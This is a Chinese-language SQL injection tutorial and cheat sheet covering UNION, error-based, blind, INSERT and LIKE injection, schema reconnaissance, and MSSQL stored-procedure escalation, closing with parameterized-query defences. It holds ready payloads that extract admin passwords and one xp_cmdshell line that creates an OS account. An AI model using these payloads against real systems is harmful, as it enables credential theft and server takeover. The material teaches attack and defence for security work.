SQL 注入(SQL Injection)自 1998 年被 Rain Forest Puppy 公開披露以來,始終佔據 OWASP Top 10 榜首位置。儘管防禦技術成熟(參數化查詢、ORM、WAF),但因業務迭代快、舊代碼存量大、開發者安全意識參差不齊,注入漏洞仍大量存在。本文系統梳理注入原理、編碼繞過、聯合查詢利用、盲注技巧、存儲過程提權、數據架構偵察、插入/更新注入、防禦編碼規範,並附贈主流數據庫系統表速查表,旨在為安全從業者、開發者構建完整知識圖譜。
應用將不可信的用戶輸入直接拼接進 SQL 語句,未經嚴格類型化、轉義或參數化處理,導致攻擊者能注入任意 SQL 片段,改變語句語義,實現數據竊取、篡改、刪除甚至服務器接管。
實戰中,Payload 必須經過 URL 編碼才能正確到達後端:
| 字符 | URL 編碼 | 備註 |
|---|---|---|
' | %27 | 單引號,閉合字符串 |
| %20 或 + | 空格 |
% | %25 | 百分號本身 |
+ | %2B | 加號 |
# | %23 | MySQL 註釋符 |
-- | --%20 | SQL 通用註釋,需尾隨空格 |
實戰提示: 瀏覽器地址欄輸入會自動編碼,Burp Suite / sqlmap 等工具需根據傳輸層(GET/POST/JSON/Cookie)選擇正確編碼方式,避免雙重編碼或漏編碼導致 Payload 失效。
利用數據庫報錯回顯數據:
AND 1=CAST((SELECT @@version) AS INT) → 報錯信息中包含版本號。
適用於 display_errors=On 且錯誤頁面回顯的環境。
-- 步驟 1:確定列數
' ORDER BY 1-- -- 正常
' ORDER BY 4-- -- 正常
' ORDER BY 5-- -- 報錯 → 列數 = 4
-- 步驟 2:確定可回顯位置
' UNION SELECT 1,2,3,4-- -- 頁面顯示 2、3、4 的位置即為可控列
-- 步驟 3:提取數據
' UNION SELECT 1,username,password,4 FROM admin--
核心限制: 兩側查詢列數、數據類型必須兼容。Oracle 對類型檢查極嚴,MySQL/SQL Server 較寬鬆(數字可隱式轉字符串)。
| 類型 | Payload 範例 | 判斷依據 |
|---|---|---|
| 布爾盲注 | ' AND SUBSTRING((SELECT password FROM admin LIMIT 1),1,1)='a'-- | 頁面內容差異(正常/異常/空白) |
| 時間盲注 | ' AND IF(SUBSTRING(@@version,1,1)='5',SLEEP(3),0)-- | 響應延遲 ≥ 3 秒 |
適用於無錯誤回顯、無 UNION 回顯位置的場景,需配合自動化工具(sqlmap)逐字爆破。
搜索功能常用 WHERE name LIKE '%$input%'。攻擊者輸入 %' OR '1'='1 導致 LIKE '%%' 全匹配,洩露所有記錄。防禦需對 % _ \ 進行轉義,或使用參數化查詢。
-- 失效。對策:嘗試 ;--、#、/*、閉合所有括號後再註釋。UNION SELECT 報錯「All queries must have same number of columns」。對策:遞增 NULL 直到不報錯,再逐個替換為具體類型探測。原語句尾部殘留 AND Country='USA' 導致注入查詢報錯「Invalid column 'Country'」。解決:
① 使用 -- / # 註釋掉尾部
② 繼續猜解列名構造合法查詢
③ 利用 UNION SELECT ... WHERE 1=1 強制條件為真
-- 獲取所有用戶表名
SELECT name FROM sysobjects WHERE xtype='U'
-- 獲取指定表的列名
SELECT name FROM syscolumns WHERE id=OBJECT_ID('admin')
其他數據庫對應表:
| 數據庫 | 表名系統表 | 列名系統表 |
|---|---|---|
| MySQL | information_schema.TABLES | information_schema.COLUMNS |
| Oracle | ALL_TABLES / USER_TABLES | ALL_TAB_COLUMNS / USER_TAB_COLUMNS |
| PostgreSQL | information_schema.tables | information_schema.columns |
| Access | MSysObjects | MSysColumns |
-- 第 1 行
' UNION SELECT TOP 1 col1,col2,col3 FROM secret WHERE ''=''
-- 第 2 行(排除已知值)
' UNION SELECT TOP 1 col1,col2,col3 FROM secret
WHERE col1 NOT IN ('val1') AND col2 NOT IN ('val2') AND col3 NOT IN ('val3') AND ''=''
-- 第 N 行:持續擴展 NOT IN 列表
註冊頁、留言板、購物車等 INSERT 場景同樣可注入。關鍵差異:INSERT 不直接回顯數據,需配合:
Payload 範例:', (SELECT TOP 1 password FROM admin), 'email@test.com', '123')--
| 存儲過程 | 功能 | 前置條件 |
|---|---|---|
xp_cmdshell | 執行系統命令 | SA 權限、未被刪除/禁用 |
sp_makewebtask | 生成 HTML 文件至任意路徑(含 UNC 路徑) | SA 權限、寫入權限 |
xp_regwrite | 修改註冊表 | SA 權限 |
xp_dirtree | 遍歷目錄樹 | PUBLIC 執行權限 |
注入示例:'; EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add'--
| 語言/框架 | 正確用法 | 錯誤用法 |
|---|---|---|
| PHP (PDO) | $stmt=$pdo->prepare('SELECT * FROM user WHERE id=?'); $stmt->execute([$id]); | "SELECT * FROM user WHERE id=$id" |
| Java (JDBC) | PreparedStatement ps=conn.prepareStatement("SELECT * FROM user WHERE id=?"); ps.setInt(1,id); | Statement st=conn.createStatement(); st.executeQuery("SELECT * FROM user WHERE id="+id); |
| Python (DB-API) | cur.execute("SELECT * FROM user WHERE id=%s", (id,)) | cur.execute("SELECT * FROM user WHERE id=%s" % id) |
| C# (ADO.NET) | cmd.Parameters.AddWithValue("@id", id); | cmd.CommandText = "SELECT * FROM user WHERE id=" + id; |
| Node.js (mysql2) | await pool.execute('SELECT * FROM user WHERE id=?', [id]) | await pool.query('SELECT * FROM user WHERE id=' + id) |
SELECT/INSERT/UPDATE/DELETE 權限,禁用 DROP/ALTER/FILE/PROCESS/SHUTDOWN 等高危權限,嚴禁使用 root/sa 直連。^[a-zA-Z0-9_]{1,32}$),HTML/JS/SQL/CSS 語境下分別編碼輸出。| 數據庫 | 核心系統表/視圖 | 關鍵列 |
|---|---|---|
| MySQL | information_schema.TABLES, COLUMNS, SCHEMATA | TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE |
| SQL Server | sysobjects, syscolumns, sysdatabases | name, xtype('U'=用戶表), id, status |
| Oracle | ALL_TABLES, ALL_TAB_COLUMNS, ALL_USERS | TABLE_NAME, COLUMN_NAME, DATA_TYPE, OWNER |
| PostgreSQL | information_schema.tables, columns, pg_catalog.pg_class | table_schema, table_name, column_name, data_type |
| Access | MSysObjects, MSysColumns | Name, Type(1=表), ParentId |
SQL 注入的本質是「代碼與數據未分離」。參數化查詢從根源上切斷了攻擊路徑,配合最小權限、錯誤隱藏、審計加密、持續測試,構建纵深防禦體系。安全無絕對,但將攻擊成本推高至不可接受,便是我們的勝利。願每位開發者寫出的代碼,都能經得起惡意輸入的考驗。